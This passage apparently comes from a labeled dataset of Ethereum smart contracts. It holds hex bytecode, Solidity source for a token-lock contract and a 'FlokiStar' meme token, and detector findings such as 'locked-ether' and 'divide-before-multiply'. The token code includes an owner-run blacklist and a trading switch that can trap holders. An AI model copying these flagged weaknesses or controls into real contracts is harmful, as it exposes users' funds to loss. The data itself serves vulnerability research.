9050919050565b600060208201905081810360008301526134c5816130f8565b9050919050565b600060208201905081810360008301526134e581613138565b9050919050565b600060208201905081810360008301526135058161319e565b9050919050565b6000602082019050818103600083015261352581613204565b9050919050565b600060208201905081810360008301526135458161326a565b9050919050565b60006020820190508181036000830152613565816132d0565b9050919050565b60006020820190506135816000830184613336565b92915050565b600060208201905061359c6000830184613345565b92915050565b600081519050919050565b600082825260208201905092915050565b60006135c982613711565b91506135d483613711565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613609576136086137d6565b5b828201905092915050565b600061361f82613711565b915061362a83613711565b92508261363a57613639613805565b5b828204905092915050565b600061365082613711565b915061365b83613711565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613694576136936137d6565b5b828202905092915050565b60006136aa82613711565b91506136b583613711565b9250828210156136c8576136c76137d6565b5b828203905092915050565b60006136de826136f1565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561374657808201518184015260208101905061372b565b83811115613755576000848401525b50505050565b6000600282049050600182168061377357607f821691505b6020821081141561378757613786613834565b5b50919050565b600061379882613711565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156137cb576137ca6137d6565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b61387d816136d3565b811461388857600080fd5b50565b613894816136e5565b811461389f57600080fd5b50565b6138ab81613711565b81146138b657600080fd5b5056fea26469706673582212201bfda5ae34e67b7cc8ae21bebb9c9dbefa2ccfe044faebb990a7e1b802cf233364736f6c63430008000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 3,787 |
0xf7e384aaaab1ce3f17c0c82951d8048238eab9f1
|
pragma solidity 0.6.11;
contract UNILOCKContract {
event Received(address, uint);
event onDeposit(address, uint256, uint256);
event onWithdraw(address, uint256);
using SafeMath for uint256;
struct VestingPeriod {
uint256 epoch;
uint256 amount;
}
struct UserTokenInfo {
uint256 deposited; // incremented on successful deposit
uint256 withdrawn; // incremented on successful withdrawl
VestingPeriod[] vestingPeriods; // added to on successful deposit
}
// map erc20 token to user address to release schedule
mapping(address => mapping(address => UserTokenInfo)) tokenUserMap;
struct LiquidityTokenomics {
uint256[] epochs;
mapping (uint256 => uint256) releaseMap; // map epoch -> amount withdrawable
}
// map erc20 token to release schedule
mapping(address => LiquidityTokenomics) tokenEpochMap;
// Fast mapping to prevent array iteration in solidity
mapping(address => bool) public lockedTokenLookup;
// A dynamically-sized array of currently locked tokens
address[] public lockedTokens;
// fee variables
uint256 public feeNumerator;
uint256 public feeDenominator;
address public feeReserveAddress;
address public owner;
constructor() public {
feeNumerator = 0;
feeDenominator = 1000;
feeReserveAddress = address(0);
owner = address(0x156d6E164a9Ca029CC686e07412F096094D18587);
}
receive() external payable {
emit Received(msg.sender, msg.value);
}
modifier onlyOwner {
require(msg.sender == owner, "You are not the owner");
_;
}
function updateFee(uint256 numerator, uint256 denominator) onlyOwner public {
feeNumerator = numerator;
feeDenominator = denominator;
}
function calculateFee(uint256 amount) public view returns (uint256){
require(amount >= feeDenominator, 'Deposit is too small');
uint256 amountInLarge = amount.mul(feeDenominator.sub(feeNumerator));
uint256 amountIn = amountInLarge.div(feeDenominator);
uint256 fee = amount.sub(amountIn);
return (fee);
}
function depositTokenMultipleEpochs(address token, uint256[] memory amounts, uint256[] memory dates) public payable {
require(amounts.length == dates.length, 'Amount and date arrays have differing lengths');
for (uint i=0; i<amounts.length; i++) {
depositToken(token, amounts[i], dates[i]);
}
}
function depositToken(address token, uint256 amount, uint256 unlock_date) public payable {
require(unlock_date < 10000000000, 'Enter an unix timestamp in seconds, not miliseconds');
require(amount > 0, 'Your attempting to trasfer 0 tokens');
uint256 allowance = IERC20(token).allowance(msg.sender, address(this));
require(allowance >= amount, 'You need to set a higher allowance');
// charge a fee
uint256 fee = calculateFee(amount);
uint256 amountIn = amount.sub(fee);
require(IERC20(token).transferFrom(msg.sender, address(this), amountIn), 'Transfer failed');
require(IERC20(token).transferFrom(msg.sender, address(feeReserveAddress), fee), 'Transfer failed');
if (!lockedTokenLookup[token]) {
lockedTokens.push(token);
lockedTokenLookup[token] = true;
}
LiquidityTokenomics storage liquidityTokenomics = tokenEpochMap[token];
// amount is required to be above 0 in the start of this block, therefore this works
if (liquidityTokenomics.releaseMap[unlock_date] > 0) {
liquidityTokenomics.releaseMap[unlock_date] = liquidityTokenomics.releaseMap[unlock_date].add(amountIn);
} else {
liquidityTokenomics.epochs.push(unlock_date);
liquidityTokenomics.releaseMap[unlock_date] = amountIn;
}
UserTokenInfo storage uto = tokenUserMap[token][msg.sender];
uto.deposited = uto.deposited.add(amountIn);
VestingPeriod[] storage vp = uto.vestingPeriods;
vp.push(VestingPeriod(unlock_date, amountIn));
emit onDeposit(token, amount, unlock_date);
}
function withdrawToken(address token, uint256 amount) public {
require(amount > 0, 'Your attempting to withdraw 0 tokens');
uint256 withdrawable = getWithdrawableBalance(token, msg.sender);
UserTokenInfo storage uto = tokenUserMap[token][msg.sender];
uto.withdrawn = uto.withdrawn.add(amount);
require(amount <= withdrawable, 'Your attempting to withdraw more than you have available');
require(IERC20(token).transfer(msg.sender, amount), 'Transfer failed');
emit onWithdraw(token, amount);
}
function getWithdrawableBalance(address token, address user) public view returns (uint256) {
UserTokenInfo storage uto = tokenUserMap[token][address(user)];
uint arrayLength = uto.vestingPeriods.length;
uint256 withdrawable = 0;
for (uint i=0; i<arrayLength; i++) {
VestingPeriod storage vestingPeriod = uto.vestingPeriods[i];
if (vestingPeriod.epoch < block.timestamp) {
withdrawable = withdrawable.add(vestingPeriod.amount);
}
}
withdrawable = withdrawable.sub(uto.withdrawn);
return withdrawable;
}
function getUserTokenInfo (address token, address user) public view returns (uint256, uint256, uint256) {
UserTokenInfo storage uto = tokenUserMap[address(token)][address(user)];
uint256 deposited = uto.deposited;
uint256 withdrawn = uto.withdrawn;
uint256 length = uto.vestingPeriods.length;
return (deposited, withdrawn, length);
}
function getUserVestingAtIndex (address token, address user, uint index) public view returns (uint256, uint256) {
UserTokenInfo storage uto = tokenUserMap[address(token)][address(user)];
VestingPeriod storage vp = uto.vestingPeriods[index];
return (vp.epoch, vp.amount);
}
function getTokenReleaseLength (address token) public view returns (uint256) {
LiquidityTokenomics storage liquidityTokenomics = tokenEpochMap[address(token)];
return liquidityTokenomics.epochs.length;
}
function getTokenReleaseAtIndex (address token, uint index) public view returns (uint256, uint256) {
LiquidityTokenomics storage liquidityTokenomics = tokenEpochMap[address(token)];
uint256 epoch = liquidityTokenomics.epochs[index];
uint256 amount = liquidityTokenomics.releaseMap[epoch];
return (epoch, amount);
}
function lockedTokensLength() external view returns (uint) {
return lockedTokens.length;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
|
0x6080604052600436106101025760003560e01c806399c6d2de11610095578063dcec329411610064578063dcec329414610492578063de0c4d2e146104bc578063e86dea4a14610515578063f4f876a61461052a578063f6a3bcad1461057157610143565b806399c6d2de146102db5780639e281a981461030d578063ace55fec14610346578063b9b6ac051461035b57610143565b80638b4ebb43116100d15780638b4ebb43146101e95780638da5cb5b1461024557806393dcd0211461027657806399a5d747146102b157610143565b8063180b0d7e1461014857806321babba71461016f57806322843f95146101845780632740c197146101b757610143565b36610143576040805133815234602082015281517f88a5966d370b9919b20f3e2c13ff65706f196a4e32cc2c12bf57088f88525874929181900390910190a1005b600080fd5b34801561015457600080fd5b5061015d6105aa565b60408051918252519081900360200190f35b34801561017b57600080fd5b5061015d6105b0565b34801561019057600080fd5b5061015d600480360360208110156101a757600080fd5b50356001600160a01b03166105b6565b3480156101c357600080fd5b506101e7600480360360408110156101da57600080fd5b50803590602001356105d1565b005b3480156101f557600080fd5b5061022c6004803603606081101561020c57600080fd5b506001600160a01b03813581169160208101359091169060400135610633565b6040805192835260208301919091528051918290030190f35b34801561025157600080fd5b5061025a610695565b604080516001600160a01b039092168252519081900360200190f35b34801561028257600080fd5b5061015d6004803603604081101561029957600080fd5b506001600160a01b03813581169160200135166106a4565b3480156102bd57600080fd5b5061015d600480360360208110156102d457600080fd5b503561074b565b6101e7600480360360608110156102f157600080fd5b506001600160a01b0381351690602081013590604001356107fa565b34801561031957600080fd5b506101e76004803603604081101561033057600080fd5b506001600160a01b038135169060200135610cc4565b34801561035257600080fd5b5061025a610e95565b6101e76004803603606081101561037157600080fd5b6001600160a01b03823516919081019060408101602082013564010000000081111561039c57600080fd5b8201836020820111156103ae57600080fd5b803590602001918460208302840111640100000000831117156103d057600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929594936020810193503591505064010000000081111561042057600080fd5b82018360208201111561043257600080fd5b8035906020019184602083028401116401000000008311171561045457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610ea4945050505050565b34801561049e57600080fd5b5061025a600480360360208110156104b557600080fd5b5035610f2f565b3480156104c857600080fd5b506104f7600480360360408110156104df57600080fd5b506001600160a01b0381358116916020013516610f56565b60408051938452602084019290925282820152519081900360600190f35b34801561052157600080fd5b5061015d610f8c565b34801561053657600080fd5b5061055d6004803603602081101561054d57600080fd5b50356001600160a01b0316610f92565b604080519115158252519081900360200190f35b34801561057d57600080fd5b5061022c6004803603604081101561059457600080fd5b506001600160a01b038135169060200135610fa7565b60055481565b60035490565b6001600160a01b031660009081526001602052604090205490565b6007546001600160a01b03163314610628576040805162461bcd60e51b81526020600482015260156024820152742cb7ba9030b932903737ba103a34329037bbb732b960591b604482015290519081900360640190fd5b600491909155600555565b6001600160a01b03808416600090815260208181526040808320938616835292905290812060028101805483929183918690811061066d57fe5b9060005260206000209060020201905080600001548160010154935093505050935093915050565b6007546001600160a01b031681565b6001600160a01b038083166000908152602081815260408083209385168352929052908120600281015482805b828110156107285760008460020182815481106106ea57fe5b90600052602060002090600202019050428160000154101561071f57600181015461071c90849063ffffffff610ffd16565b92505b506001016106d1565b50600183015461073f90829063ffffffff61105e16565b93505050505b92915050565b600060055482101561079b576040805162461bcd60e51b815260206004820152601460248201527311195c1bdcda5d081a5cc81d1bdbc81cdb585b1b60621b604482015290519081900360640190fd5b60006107c46107b760045460055461105e90919063ffffffff16565b849063ffffffff6110a016565b905060006107dd600554836110f990919063ffffffff16565b905060006107f1858363ffffffff61105e16565b95945050505050565b6402540be400811061083d5760405162461bcd60e51b81526004018080602001828103825260338152602001806112386033913960400191505060405180910390fd5b6000821161087c5760405162461bcd60e51b815260040180806020018281038252602381526020018061126b6023913960400191505060405180910390fd5b60408051636eb1769f60e11b815233600482015230602482015290516000916001600160a01b0386169163dd62ed3e91604480820192602092909190829003018186803b1580156108cc57600080fd5b505afa1580156108e0573d6000803e3d6000fd5b505050506040513d60208110156108f657600080fd5b50519050828110156109395760405162461bcd60e51b815260040180806020018281038252602281526020018061128e6022913960400191505060405180910390fd5b60006109448461074b565b90506000610958858363ffffffff61105e16565b604080516323b872dd60e01b81523360048201523060248201526044810183905290519192506001600160a01b038816916323b872dd916064808201926020929091908290030181600087803b1580156109b157600080fd5b505af11580156109c5573d6000803e3d6000fd5b505050506040513d60208110156109db57600080fd5b5051610a20576040805162461bcd60e51b815260206004820152600f60248201526e151c985b9cd9995c8819985a5b1959608a1b604482015290519081900360640190fd5b600654604080516323b872dd60e01b81523360048201526001600160a01b039283166024820152604481018590529051918816916323b872dd916064808201926020929091908290030181600087803b158015610a7c57600080fd5b505af1158015610a90573d6000803e3d6000fd5b505050506040513d6020811015610aa657600080fd5b5051610aeb576040805162461bcd60e51b815260206004820152600f60248201526e151c985b9cd9995c8819985a5b1959608a1b604482015290519081900360640190fd5b6001600160a01b03861660009081526002602052604090205460ff16610b6f576003805460018082019092557fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b0180546001600160a01b0319166001600160a01b0389169081179091556000908152600260205260409020805460ff191690911790555b6001600160a01b03861660009081526001602081815260408084208885529283019091529091205415610bd3576000858152600182016020526040902054610bbd908363ffffffff610ffd16565b6000868152600183016020526040902055610bfd565b80546001818101835560008381526020808220909301889055878152908301909152604090208290555b6001600160a01b03871660009081526020818152604080832033845290915290208054610c30908463ffffffff610ffd16565b8155604080518082018252878152602080820186815260028086018054600181810183556000838152869020965191909302909501948555915193019290925582516001600160a01b038c1681529081018a9052808301899052915190917fd6bbc989766039cda6ca06b473aabd4d296527497aadc6808e640e053427d2b3919081900360600190a1505050505050505050565b60008111610d035760405162461bcd60e51b81526004018080602001828103825260248152602001806112fe6024913960400191505060405180910390fd5b6000610d0f83336106a4565b6001600160a01b0384166000908152602081815260408083203384529091529020600181015491925090610d49908463ffffffff610ffd16565b600182015581831115610d8d5760405162461bcd60e51b81526004018080602001828103825260388152602001806113226038913960400191505060405180910390fd5b6040805163a9059cbb60e01b81523360048201526024810185905290516001600160a01b0386169163a9059cbb9160448083019260209291908290030181600087803b158015610ddc57600080fd5b505af1158015610df0573d6000803e3d6000fd5b505050506040513d6020811015610e0657600080fd5b5051610e4b576040805162461bcd60e51b815260206004820152600f60248201526e151c985b9cd9995c8819985a5b1959608a1b604482015290519081900360640190fd5b604080516001600160a01b03861681526020810185905281517fccad973dcd043c7d680389db4378bd6b9775db7124092e9e0422c9e46d7985dc929181900390910190a150505050565b6006546001600160a01b031681565b8051825114610ee45760405162461bcd60e51b815260040180806020018281038252602d8152602001806112b0602d913960400191505060405180910390fd5b60005b8251811015610f2957610f2184848381518110610f0057fe5b6020026020010151848481518110610f1457fe5b60200260200101516107fa565b600101610ee7565b50505050565b60038181548110610f3c57fe5b6000918252602090912001546001600160a01b0316905081565b6001600160a01b039182166000908152602081815260408083209390941682529190915220805460018201546002909201549092565b60045481565b60026020526000908152604090205460ff1681565b6001600160a01b038216600090815260016020526040812080548291908290829086908110610fd257fe5b6000918252602080832090910154808352600190940190526040902054919350909150509250929050565b600082820183811015611057576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b600061105783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061113b565b6000826110af57506000610745565b828202828482816110bc57fe5b04146110575760405162461bcd60e51b81526004018080602001828103825260218152602001806112dd6021913960400191505060405180910390fd5b600061105783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506111d2565b600081848411156111ca5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561118f578181015183820152602001611177565b50505050905090810190601f1680156111bc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600081836112215760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561118f578181015183820152602001611177565b50600083858161122d57fe5b049594505050505056fe456e74657220616e20756e69782074696d657374616d7020696e207365636f6e64732c206e6f74206d696c697365636f6e6473596f757220617474656d7074696e6720746f2074726173666572203020746f6b656e73596f75206e65656420746f2073657420612068696768657220616c6c6f77616e6365416d6f756e7420616e64206461746520617272617973206861766520646966666572696e67206c656e67746873536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77596f757220617474656d7074696e6720746f207769746864726177203020746f6b656e73596f757220617474656d7074696e6720746f207769746864726177206d6f7265207468616e20796f75206861766520617661696c61626c65a26469706673582212206658864907cdd8747e4cbfdcc67385347ebe3f388610118b2617d863e88512e664736f6c634300060b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 3,788 |
0x2d19260e0cf36bf7cc14c152ab80ece66397517f
|
/**
*Submitted for verification at Etherscan.io on 2022-04-28
*/
/*
TELEGRAM: https://t.me/FlokiStarEth
What is FlokiStar⭐️?
FlokiStar is an exclusive branded shit coin.
Our holders will get an active club membership that will allow them to enjoy the exclusive perks of the club. 🥂
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract FlokiStar is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "FlokiStar";
string private constant _symbol = "FLOKISTAR";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 9;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 9;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private __clubVaultAddress = payable(0x91402B09085F8DAa965C8ceF501A97160d00F7C4);
address payable private _marketingAddress = payable(0xeE10351c5fe76EE9b825c028Fa8BF9d8328e7F5C);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = true;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 7500000 * 10**9;
uint256 public _maxWalletSize = 15000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[__clubVaultAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
